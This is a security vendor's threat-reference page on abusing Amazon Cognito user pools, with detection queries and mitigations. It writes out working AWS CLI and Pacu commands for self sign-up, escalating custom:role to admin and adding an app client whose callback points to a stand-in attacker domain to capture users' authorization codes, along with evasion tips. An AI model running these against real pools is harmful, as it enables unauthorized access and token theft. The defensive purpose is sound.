1. Resources
  2. Identity Threats
  3. AWS

Amazon Cognito User Pool Abuse

Also known as: Cognito self sign-up abuse, Cognito custom attribute escalation, Rogue Cognito app client, User pool app client persistence

Attackers register themselves in an Amazon Cognito user pool through its public API, rewrite the attributes an app trusts, or add an app client that keeps a sign-in path into the pool.

Platform
AWS
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: No account
None for sign-up and attribute abuse: only the app client ID from the application. The app client variant needs cognito-idp:CreateUserPoolClient or UpdateUserPoolClient.
What the attacker gains
A valid user and tokens for the application, claims the attacker wrote, AWS credentials through a linked identity pool, or a lasting sign-in path through an app client.
Threat groups
Storm-0501APT28APT29APT33APT38APT5HAFNIUMKe3changLAPSUS$NIMBUS MANTICOREScattered SpiderShinyHuntersTeamPCPVOID MANTICOREGroups that MITRE ATT&CK records using T1098.001, T1136.003, T1078.004.

How it works

An Amazon Cognito user pool is a user directory and token issuer for an application. Users sign in through an app client, and the pool issues an ID token, an access token and a refresh token. The application, an API Gateway authorizer or a linked identity pool then decides what the user may do from the claims in those tokens. The pool settles authentication, and the consumers of its tokens settle authorization, which is where the gaps are.

Three weaknesses are common:

  • Open self-service sign-up. When a pool permits self-service sign-up, it accepts account requests from the public internet. SignUp, ConfirmSignUp and InitiateAuth are unauthenticated API operations: they need the app client ID, which is in the application, and no AWS credentials. A back-office application that "has no registration page" but uses such a pool can be joined by anyone. If any consumer treats "has a valid token from this pool" as "is an employee", the attacker is in. If the pool is a provider of an identity pool, the attacker also receives the authenticated role's AWS credentials.
  • Writable attributes used for authorization. Each app client has read and write permissions per attribute. AWS documents that a client without an explicit WriteAttributes list can write all standard and custom attributes, and that users can change those attributes for themselves with UpdateUserAttributes. A custom:role, custom:tenant_id or custom:isAdmin attribute that the application or an identity pool role mapping rule trusts can then be set by the user. Attributes are shared across all app clients of a pool, so one permissive client is enough.
  • App client added or changed. With IAM access to the account, an attacker creates a new app client or edits one: a callback URL on a domain they control, the ALLOW_USER_PASSWORD_AUTH flow, a client secret with the client_credentials grant, broader OAuth scopes, or a refresh token validity of up to ten years. The client is a durable way to obtain tokens from the pool that survives the loss of the attacker's AWS credentials.

Prerequisites

For sign-up and attribute abuse, from outside:

  • The user pool's Region and an app client ID. Both are visible in the application's code or network traffic. A client without a secret is needed, which is what browser and mobile apps use.
  • Self-service sign-up enabled on the pool, or any existing account for the attribute path.
  • An attribute that a consumer trusts and that the client can write, or a consumer that trusts any authenticated user.
  • For the password flow shown below, ALLOW_USER_PASSWORD_AUTH on the client. Otherwise sign in with SRP through an SDK.

For the app client variant:

  • An AWS principal with cognito-idp:CreateUserPoolClient or cognito-idp:UpdateUserPoolClient on the pool.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Register and sign in through the public API

aws cognito-idp sign-up \
    --client-id 1example23456789 \
    --username alice@example.com \
    --password 'Example-Passw0rd!' \
    --user-attributes Name=email,Value=alice@example.com \
    --region us-east-1 --no-sign-request

# Code from the confirmation email
aws cognito-idp confirm-sign-up \
    --client-id 1example23456789 \
    --username alice@example.com \
    --confirmation-code 123456 \
    --region us-east-1 --no-sign-request

aws cognito-idp initiate-auth \
    --auth-flow USER_PASSWORD_AUTH \
    --client-id 1example23456789 \
    --auth-parameters USERNAME=alice@example.com,PASSWORD='Example-Passw0rd!' \
    --region us-east-1 --no-sign-request

The last call returns IdToken, AccessToken and RefreshToken. Present the ID or access token to the application's API, or exchange the ID token at a linked identity pool as described in Cognito identity pool role abuse.

Attributes can already be set at sign-up when the client may write them:

aws cognito-idp sign-up \
    --client-id 1example23456789 \
    --username alice@example.com \
    --password 'Example-Passw0rd!' \
    --user-attributes Name=email,Value=alice@example.com Name=custom:role,Value=admin \
    --region us-east-1 --no-sign-request

2. Rewrite attributes of an existing user

# What the pool holds for the signed-in user
aws cognito-idp get-user --access-token "$ACCESS_TOKEN" --region us-east-1

# Change the attribute the application trusts
aws cognito-idp update-user-attributes \
    --access-token "$ACCESS_TOKEN" \
    --user-attributes Name=custom:role,Value=admin \
    --region us-east-1

# New tokens that carry the changed claim
aws cognito-idp initiate-auth \
    --auth-flow REFRESH_TOKEN_AUTH \
    --client-id 1example23456789 \
    --auth-parameters REFRESH_TOKEN="$REFRESH_TOKEN" \
    --region us-east-1 --no-sign-request

If the client isn't allowed to write the attribute, Cognito answers with NotAuthorizedException. Custom attributes appear in the ID token as strings.

Pacu runs sign-up, attribute changes and the identity pool exchange in one module:

Pacu > run cognito__attack --username alice@example.com --password 'Example-Passw0rd!' --user_pool_clients 1example23456789@us-east-1_EXAMPLE --user_attributes '[{"Name":"custom:role","Value":"admin"}]'

3. Add or change an app client (with access to the account)

aws cognito-idp list-user-pools --max-items 60
aws cognito-idp list-user-pool-clients --user-pool-id us-east-1_EXAMPLE
aws cognito-idp describe-user-pool-client \
    --user-pool-id us-east-1_EXAMPLE --client-id 1example23456789

# A new client the attacker controls
aws cognito-idp create-user-pool-client \
    --user-pool-id us-east-1_EXAMPLE \
    --client-name mobile-app-v2 \
    --explicit-auth-flows ALLOW_USER_PASSWORD_AUTH ALLOW_REFRESH_TOKEN_AUTH \
    --supported-identity-providers COGNITO \
    --callback-urls https://app.attacker.example/callback \
    --allowed-o-auth-flows code \
    --allowed-o-auth-scopes openid email \
    --allowed-o-auth-flows-user-pool-client \
    --refresh-token-validity 3650

# Or one more callback URL on an existing client
aws cognito-idp update-user-pool-client \
    --user-pool-id us-east-1_EXAMPLE \
    --client-id 1example23456789 \
    --callback-urls https://app.example.com/callback https://app.attacker.example/callback

UpdateUserPoolClient sets every attribute that is not passed to its default value. An operator who wants the application to keep working reads the client with describe-user-pool-client first and sends the whole configuration back with the one addition. The shortened call above would reset the client's flows, scopes and token lifetimes.

With a foreign callback URL on a real client, a sign-in link that looks like the application's own login page delivers the user's authorization code to the attacker.

Impact

Outside attackers gain a valid identity in the application. Where the application or a role mapping trusts a writable attribute, that identity becomes an administrator or crosses into another tenant, which is privilege escalation by editing your own profile. Where the pool feeds an identity pool, the result is temporary AWS credentials for the authenticated role.

The app client variant gives an attacker who once held AWS access a way to keep minting tokens for the pool, and through a hijacked callback URL a way to collect other users' sign-ins. None of it involves an IAM user, access key or role, so it is missed by credential reviews.

OPSEC and artifacts

  • User pool API calls are management events. Cognito logs all user pool actions under cognito-idp.amazonaws.com, so SignUp, ConfirmSignUp, InitiateAuth and UpdateUserAttributes are in CloudTrail by default with the source address and client ID. Calls made without AWS credentials have no IAM caller, and passwords and tokens are replaced with HIDDEN_DUE_TO_SECURITY_REASONS.
  • Managed login leaves service events. Requests to the hosted sign-in pages are logged with eventType AwsServiceEvent and names such as Signup_POST and Token_POST. API calls have eventType AwsApiCall. An attacker using the API directly against a pool whose real users all come through managed login stands out by event type alone.
  • The user stays in the directory. A self-registered account, its creation time, its attributes and its confirmation status remain in the pool until deleted. An account with a privileged attribute value that no administrator set is the durable artifact.
  • Blending in. On a consumer application, one more sign-up is noise. Operators use a plausible email address and a single attribute change, and avoid the burst of failed UpdateUserAttributes calls that probing many attribute names produces.
  • App client changes name the caller. CreateUserPoolClient and UpdateUserPoolClient are logged with the IAM identity in userIdentity and the pool in requestParameters. A careless update that resets the client's settings also breaks sign-in for real users, which gets noticed fast.

Detection

  • Sign-ups where none are expected. For a workforce or partner pool, any SignUp or Signup_POST event is an alert.
  • Self-service changes to authorization attributes. UpdateUserAttributes events on pools that carry role or tenant attributes, followed by a token refresh.
  • App client lifecycle. CreateUserPoolClient and UpdateUserPoolClient by anyone other than the application's deployment role, and any callback URL on a domain the organization doesn't own.
  • Weakened pool settings. The Cognito pool rules cover MFA being switched off with SetUserPoolMfaConfig and role changes on a linked identity pool with SetIdentityPoolRoles.
-- Athena, CloudTrail table: sign-ups, attribute changes and app client changes on user pools
SELECT
    eventtime,
    eventname,
    eventtype,
    useridentity.arn AS iam_caller,
    sourceipaddress,
    requestparameters,
    errorcode
FROM cloudtrail_logs
WHERE eventsource = 'cognito-idp.amazonaws.com'
  AND eventname IN ('SignUp', 'Signup_POST', 'UpdateUserAttributes',
                    'CreateUserPoolClient', 'UpdateUserPoolClient')
  AND eventtime >= '2026-11-01T00:00:00Z'
ORDER BY eventtime

On a public application, sign-ups are normal, so alert on the combination: a new account, an attribute change and a first call to an administrative API within minutes.

Mitigation

  • Disable self-service sign-up on pools that are not meant for the public (AdminCreateUserConfig.AllowAdminCreateUserOnly). Where sign-up must stay open, validate it in a pre sign-up Lambda trigger, for example against an allowed email domain.
  • Never authorize on "any valid token". Check group membership or an administrator-managed claim in every consumer, and validate issuer, audience or client_id, token_use and expiry of each token.
  • Set WriteAttributes on every app client and leave out every attribute that drives authorization. Manage those attributes from an administrative process, or use user pool groups instead of custom attributes for roles.
  • Review identity pool role mappings that read token claims, and make sure the claims they read can't be written by users.
  • Keep app clients tight. Only the flows the application uses, no ALLOW_USER_PASSWORD_AUTH unless needed, exact callback and logout URLs, short refresh token validity, and token revocation enabled.
  • Restrict who can manage clients. Allow cognito-idp:CreateUserPoolClient, UpdateUserPoolClient and UpdateUserPool only to the deployment role, and compare the live client list with the deployed configuration regularly.
  • Require MFA on pools that reach sensitive data or AWS credentials, and attach an AWS WAF web ACL to the pool to limit automated sign-up.
  • After an incident, delete rogue clients and users, and remember that removing a client or callback stops new sign-ins only. Tokens and AWS sessions that were already issued need their own revocation.

Detection rules for this attack

Log events to collect

FAQ

The app has no registration page. Can someone still sign up?

Yes, if the user pool allows self-service sign-up. SignUp is an unauthenticated API operation that anyone can call with the app client ID, whatever the user interface shows. Only the pool setting AllowAdminCreateUserOnly, or a pre sign-up Lambda trigger that rejects the request, closes it.

Can users change their own attributes?

Through any app client that has write permission for the attribute. AWS documents that an app client without an explicit WriteAttributes list can write all standard and custom attributes, and users can change them for themselves with UpdateUserAttributes. An attribute used for authorization must be removed from the write list of every app client.

Why is a new app client a persistence mechanism?

An app client is a way to obtain tokens from the pool. An attacker-created client with a callback URL they control, a client secret for the client credentials grant, or the password flow enabled keeps working after their IAM access is removed, and it doesn't show up in any review of IAM users, keys or roles.

Does CloudTrail record user pool activity?

Yes. Amazon Cognito logs all user pool API actions as management events under cognito-idp.amazonaws.com, including SignUp, InitiateAuth and UpdateUserAttributes, and logs managed login page requests as service events. Passwords and tokens are replaced with HIDDEN_DUE_TO_SECURITY_REASONS.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.